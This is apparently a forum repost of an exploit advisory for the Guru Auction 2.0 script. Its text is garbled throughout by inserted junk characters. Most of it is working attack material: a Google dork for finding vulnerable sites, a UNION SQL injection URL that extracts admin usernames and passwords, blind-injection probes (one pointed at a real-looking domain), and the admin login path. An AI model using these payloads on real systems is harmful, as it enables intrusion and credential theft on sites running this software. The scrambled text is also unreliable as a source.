Guru Auction 2.0 Multiple SQL Injection Vulnerabilities1 G. Q5 o; v3 k1 ^+ r. [
' r+ H8 l' g" i2 }. }$ y' y作者 : v3n0m/ h! _: T: n/ U
应用 : Guru Auction 2.05 A* u" \4 ?$ E1 g
Price : $49
. n6 G- Z9 e# u8 yVendor : http://www.guruscript.com/' G* _- O% L7 f& }3 ]6 A6 J
Google Dork : inurl:subcat.php?cate_id=
. _9 q- c. X+ o
+ U2 G! _/ \% w% ?% A$ `SQLi p0c:
# L. }( G+ d; _4 K~~~~~~~~~~% `! s9 V G) h1 D/ u" i
http://domain.tld/[path]/subcat.php?cate_id=-9999+union+all+select+null,group_concat(user_name,char(58),password),null+from+admin--
* i9 y# ?- ^- V% f0 G " g, G2 l# `$ S9 ]6 e( B, \: _( G
1 n* n. l3 L' n1 \ K) x盲注 p0c:
o9 V. Q. k& r: u; X7 m" B~~~~~~~~~~
, Y& _' I1 s' [2 K0 C4 l" S1 xhttp://www.political-security.com /[path]/detail.php?item_id=575+AND+SUBSTRING(@@version,1,1)=5 << true
% a) E3 x. ~2 S Bhttp://domain.tld/[path]/detail.php?item_id=575+AND+SUBSTRING(@@version,1,1)=4 << false
- d% V' R, @1 R1 J! G6 z- w
( r1 A& z% W* y: @2 r管理登录入口:0 P0 |- @/ Z, l" o5 |, V8 v* W
~~~~~~~~~~8 P [- W" Q9 ?1 N% G, u8 K
http://domain.tld/[path]/admin/
7 q. P! c# h; r% B% R* n |
发表于 2012-12-31 09:24:05
收藏
支持
反对